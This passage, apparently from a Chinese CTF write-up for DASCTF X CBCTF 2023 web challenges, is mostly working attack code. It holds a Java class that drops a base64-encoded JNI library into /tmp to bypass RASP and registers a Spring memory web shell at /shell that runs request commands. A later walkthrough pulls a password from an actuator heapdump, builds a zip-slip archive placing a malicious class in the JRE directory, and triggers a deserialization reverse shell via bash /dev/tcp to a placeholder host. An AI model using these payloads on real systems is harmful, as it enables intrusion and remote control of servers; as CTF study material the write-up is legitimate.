AAAgDAAAAAAAABABQAAAAAAABoAAAAsAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAAMA1AAAAAAAA8gEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACyNwAAAAAAAPEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA";
    private static final String LIB_PATH = "/tmp/libcmd.so";
    static {
        try {
            byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
            RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
            randomAccessFile.write(jniBytes);
            randomAccessFile.close();
            //调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
            ClassLoader cmdLoader = EvilClass.class.getClassLoader();
            Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
            Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
            Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
            load.setAccessible(true);
            Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
            field.setAccessible(true);
            Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
            Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
            nativeLibraryCons.setAccessible(true);
            Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
            libs.addElement(nativeLibraryObj);
            field.set(cmdLoader, libs);
            load.invoke(nativeLibraryObj, LIB_PATH, false);
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = EvilClass.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            EvilClass springControllerMemShell = new EvilClass();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        } catch (Exception hi) {
            hi.printStackTrace();
        }
    }
    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            String execRes = EvilClass.execCmd(cmd);
            response.getWriter().write(execRes);
            response.getWriter().flush();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

打入内存马执行命令拿到flag

利用反序列化加载上面的恶意类打入内存马，加载JNI来绕过RASP执行命令

七、Deserialize?Upload!

1.访问页面。

2.阅读源码，在pom.xml中发现存在actuator依赖，并且SpringSecurity没有对/actuator进行验证

在application.properties中，确认actuator暴露端点，同时题目给出的源码附件没有真实password

spring.security.user.name=admin
spring.security.user.password=This_is_fake_password
management.endpoints.web.exposure.include=health,info,env,heapdump

3.访问/actuator/env，得到以下信息

"java.home":{"value":"/usr/lib/jvm/java-8-openjdk-amd64/jre"}
"spring.security.user.name":{"value":"admin","origin":"class path resource [application.properties] from app.jar - 8:27"}
"spring.security.user.password":{"value":"**","origin":"class path resource [application.properties] from app.jar - 9:31"}

内存中存在springsecurity的密码，但在env中做了脱敏处理，无法直接获取
访问/actuator/heapdump，下载heapdump后使用visualVM等工具进行分析，以visualVM为例，使用OQL语句查找spring.security.user.password

select s from java.util.LinkedHashMap$Entry s where /spring.security.user.password/.test(s.key)

在查询结果中，可以找到真正的密码

4.进入/admin/，文件上传接口存在zipslip任意文件上传漏洞，结合之前泄露的env中的javahome路径，可以想到构造恶意类后上传至jre/classes目录
在源码中发现/admin/下存在反序列化入口，所以可以构造一个readObject中含恶意代码的类

import java.io.*;
public class Evil implements Serializable {
    private  void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
        in.defaultReadObject();
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/x.x.x.x/x 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        p.waitFor();
        if(p.exitValue()!=0){
        }
        String s = null;
        while((s=reader.readLine())!=null){
            System.out.println(s);
        }
    }
}

编译为class文件，通过脚本构造zip

import zipfile
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("./Evil.class", "../../../usr/lib/jvm/java-8-openjdk-amd64/jre/classes/Evil.class", zipfile.ZIP_DEFLATED)
zipFile.close()

上传成功后，本地构造base64，通过反序列化入口反弹shell

在根目录下读flag文件即可。

DASCTF X CBCTF 2023web和misc题解

一、justpaint

二、NoPasswd

三、SecretZip

四、justlisten

五、nps hacker

六、bypassJava

chunked 编码绕过getContentLength

绕过RASP

打入内存马执行命令拿到flag

七、Deserialize?Upload!

附件列表

评论列表

DASCTF X CBCTF 2023web和misc题解

一、justpaint

二、NoPasswd

三、SecretZip

四、justlisten

五、nps hacker

六、bypassJava

chunked 编码绕过getContentLength

绕过RASP

打入内存马执行命令拿到flag

七、Deserialize?Upload!

附件列表

评论列表 默认排序 默认排序 最新回复

评论列表